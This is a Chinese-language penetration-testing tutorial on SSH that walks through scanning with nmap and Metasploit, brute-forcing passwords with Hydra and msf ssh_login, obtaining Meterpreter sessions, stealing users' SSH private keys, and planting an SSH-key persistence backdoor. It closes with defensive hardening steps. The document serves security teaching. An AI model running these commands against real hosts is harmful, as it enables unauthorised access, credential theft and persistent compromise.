SSH服务安全测试
2020-07-07 10:59:08 Author: xz.aliyun.com(查看原文) 阅读量:662 收藏

​   本文主要介绍了SSH协议,SSH端口扫描、服务识别,msf中与SSH协议有关的部分模块使用,通过这些模块来实现ssh弱口令暴力破解,获得shell后提升到meterpreter会话等操作。

一、SSH简介

​   Secure Shell(安全外壳协议,简称SSH)是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境。SSH通过在网络中建立安全隧道来实现SSH客户端与服务器之间的连接。

​   SSH是一种网络协议,我们常说的 ssh 一般指其实现,即 OpenSSH,在 shell 中,也就是 ssh 命令。

​   SSH虽然是安全外壳协议,但是也不能保证绝对的安全。如果管理员安全意识不够或者SSH服务设置不完善、SSH版本较低,也会存在一些可利用的漏洞,利用这些漏洞对目标系统造成危害。

二、SSH相关信息收集

用到的工具:

​   nmap:nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端,详细信息可参考:https://www.cnblogs.com/LyShark/p/10637507.html

​   metasploit:Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击

​   在信息收集的过程中可以用metasploit中与ssh有关的辅助模块(auxiliary),metasploit中的辅助模块能够帮助渗透测试者在进行渗透攻击之前得到目标系统丰富的情报信息,从而发起更具目标性的精准攻击。包括针对各种网络服务的扫描与查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、FUZZ测试发掘漏洞、实施网络协议欺骗等模块。

​   在漏洞利用的过程中可以使用metasploit中与ssh相关的攻击载荷模块(exploit),攻击载荷是在渗透攻击成功后促使目标系统运行的一段植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。详细信息可参考《metasploit渗透测试魔鬼训练营》

1.SSH端口扫描

  • Nmap

    ​ 使用-p参数指定要探测的端口号,-sV探测端口对应的服务版本信息,x.x.x.x为要探测的目标IP

    ​ nmap -p 22 -sV x.x.x.x
    ​ 通过扫描发现目标系统,开放了22号端口,服务是ssh、版本为OpenSSH 7.4

  • MSF

    在kali linux下通过msfconsole进入metasploit,使用use auxiliary/scanner/ssh/Tab补全,可以查看与ssh有关的辅助模块

    ​ 本次使用auxiliary/scanner/ssh/ssh_version模块扫描目标主机的ssh端口、服务

    ​ 通过扫描发现目标主机开放了22端口、并且探测到了对应的版本信息

三、SSH密码暴力破解

用到的工具有:

​   Hydra:hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。

​   msf中的辅助模块auxiliary/scanner/ssh/ssh_login

  • ### 使用hydra

      将指定的密码字典准备好,然后使用hydra工具进行密码暴力破解,其中小写l用于指定用户名,大写L可以指定用户名字典,小写p用于指定密码,大写P用于指定密码字典,-t指定线程数,-o指定存储结果的文件,-vV显示详细过程,ssh指定破解的服务,如果使用非默认端口,可以使用-s来指定

  Hydra -l 用户名 -P 密码字典 -t 线程 -o ssh.log -vV 目标ip ssh

​   如果破解成功,则会显示结果,可通过查看过程信息或存储结果文件进行查看

  • ### 使用MSF

​   use auxiliary/scanner/ssh/ssh_login

​   set rhosts 1.1.2.18 //设置破解目标

​   set pass_file /zidian/password_ssh.txt //设置密码字典

​   set stop_on_success true //破解成功就停止

​   set user_file /zidian/user_ssh.txt //设置用户名字典

​   set verbose true //显示暴力破解的过程

​   set threads 10 //设置线程数

​   Run

  使用msf破解成功后可以直接获得一个linux shell权限,可以使用sessions查看,通过sessions -i id进入shell

四、获得meterpreter权限

​   Meterpreter是Metasploit提供的一个非常强大的后渗透工具

​   获得的linux shell仅可以实现一些基本功能,要想从一个shell获取到更多的信息,甚至拓展至整个内网,我们需要用到更强大的meterpreter工具,可用它来实现信息攫取、权限提升、内网扩展等

1. 将已有的linux shell升级到meterpreter shell

​   使用sessions -u 会话id进行指定shell升级

2. 拿到远程终端用户名密码后,获得meterpreter权限

​   此处使用攻击模块exploit/multi/ssh/sshexec获得meterpreter权限

​   use exploit/multi/ssh/sshexec

​   set rhosts 1.1.2.18 //设置目标IP

​   set username root //设置ssh登录用户名

​   set password centos //设置ssh登录密码

​   set srvhost 1.1.2.17 //设置本机IP,用于反弹会话

​   run

​   成功拿到一个meterpreter会话

五、配置linux主机使用RSA密钥建立SSH连接

​   使用RSA密钥建立SSH连接,不通过用户名密码方式。这样当用户名密码泄露了,也无法登录,只有拿到私钥才能 登录,可参考链接 https://www.runoob.com/w3cnote/set-ssh-login-key.html

​   ssh-keygen //生成rsa密钥对

​   cd /root/.ssh //切换到存放密钥对的目录

​   ls //查看密钥对

​   cat id_rsa.pub >> authorized_keys

​   //用公钥文件生成一个名为authorized_keys的文件,这个是ssh配置文件中指定的公钥名称
​   scp [email protected]:/root/.ssh/id_rsa ./ //把私钥文件下载到当前要ssh登录的主机

​   vim /etc/ssh/sshd_config //修改ssh配置文件

​   PasswordAuthentication no //不允许使用用户名密码登录

​   systemctl restart sshd.service //重启ssh服务,重启服务后测试不能使用用户名密码登录

​   ssh -i id_rsa [email protected] //使用私钥证书登录服务器

六、已获得id_rsa密钥,希望得到Meterpreter会话(私钥文件泄露的情况下)

​   将私钥存放在/opt/id_rsa路径下

​   use auxiliary/scanner/ssh/ssh_login_pubkey

​   set rhosts 1.1.2.18 //设置目标主机

​   set username hanhp //设置密钥对应的用户

​   set key_path /opt/id_rsa //设置存放私钥路径

​   run


​  成功通过私钥获得meterpreter会话

七、已获得Meterpreter会话,窃取SSH密钥

  • #### 使用auxiliary/scanner/ssh/ssh_login获取Meterpreter会话

  • #### 使用后渗透测试post模块获取密钥

​   use post/multi/gather/ssh_creds

​   set session 1 //设置已获得的session会话

​   run

​   执行成功后会将所有用户的密钥下载下来,找出对应用户的id_rsa文件

​   mv /root/.msf4/loot/20200622055622_default_1.1.2.18_ssh.id_rsa_149144.txt id_rsa //移动私钥文件到当前目录,并改名为id_rsa

​   Chmod 600 id_rsa //需要将权限改小,如果私钥文件权限过大会报错

​   ssh -i id_rsa [email protected] //尝试登录

八、已获得Meterpreter会话,留下SSH密钥持久性后门

​   Meterpreter会话连续性不太好,断开后就需要再去获取,为了方便以后持久性的入侵,可以留下ssh密钥持久性后门

  • #### 使用auxiliary/scanner/ssh/ssh_login获取meterpreter会话

    ​   使用后渗透测试post模块获取密钥

    ​   use post/linux/manage/sshkey_persistence

    ​   set session 2 //设置已获取的meterpreter会话

    ​   set username hanhp //设置要留后门的登录用户名

    ​   Run

    ​   执行后发现向目标用户的ssh密钥目录写入了公钥文件,在本地生成了私钥文件

​   mv 私钥文件名 id_rsa //将私钥文件移动到当前目录,并改名为id_rsa

​   ssh -i id_rsa [email protected] //使用获得的私钥登录

九、SSH有关漏洞防御机制

1. 修改默认端口

  可通过修改默认端口来防止一些只扫描默认端口的攻击,提升攻击成本。

  • 修改ssh配置文件sshd_config

    vim /etc/ssh/sshd_config 找到Port 22 修改端口号,修改为其他端口号

  • 防火墙放行修改端口

    firewall-cmd --zone=public --add-port=22222/tcp --permanent

    firewall-cmd --reload

  • 向SElinux中添加修改后端口

    安装semanage工具需要的依赖包 yum -y install policycoreutils-python

    查询当前ssh服务端口 semanage port -l | grep ssh

    向SELinux中添加ssh端口 semanage port -a -t ssh_port_t -p tcp 22222

  • 重启ssh服务

    systemctl restart sshd.service

    修改端口后扫描22号端口状态为closed

2. 加强口令强度

​   设置口令为8位以上大小写字母、数字、特殊符号组合,并定期更换密码,避免使用弱口令。

3. 设置应用服务用户不可登录

​   应用服务用户一般都是不可登录的,只提供服务就可以了。 当我们编译安装的时候有的时候需要创建用户,我们就可以用-s指定该用户不可登录

  • [root@test ~]# useradd test -s /sbin/nologin //创建用户,但是该用户不可登录

4. 基于PAM实现登录限制

​   使用pam_tally2.so模块实现登录统计,实现防止对sshd暴力破解

  • grep tally2 /etc/pam.d/sshd //过滤有没有该模块
  • vim /etc/pam.d/sshd //修改配置文件,添加下面的内容
  • auth required pam_tally2.so deny=3 even_deny_root root_unlock_time=60 unlock_time=6 //当你登录3次失败之后会让你等60s后才能再次尝试

5. 及时升级SSH产品版本并更新补丁

​   可通过升级或打补丁的方式,防止SSH产品的相关漏洞被利用


文章来源: http://xz.aliyun.com/t/7954
如有侵权请联系:admin#unsafe.sh